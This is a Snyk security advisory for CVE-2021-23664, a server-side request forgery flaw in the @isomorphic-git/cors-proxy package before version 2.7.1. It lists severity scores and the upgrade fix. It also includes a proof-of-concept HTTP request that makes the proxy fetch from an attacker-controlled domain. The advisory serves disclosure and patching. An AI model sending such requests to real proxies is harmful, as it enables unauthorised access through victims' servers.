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Server-side Request Forgery (SSRF) Affecting @isomorphic-git/cors-proxy package, versions <2.7.1

0.0
high

Snyk CVSS

    Attack Complexity Low
    Scope Changed
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.14% (50th percentile)
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NVD
7.5 high

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  • Snyk ID SNYK-JS-ISOMORPHICGITCORSPROXY-1734788
  • published 20 Jan 2022
  • disclosed 15 Oct 2021
  • credit Jasmin Landry
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Introduced: 15 Oct 2021

CVE-2021-23664 Open this link in a new tab
CWE-918 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.

Overview

@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.

PoC

GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1
Host: target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

References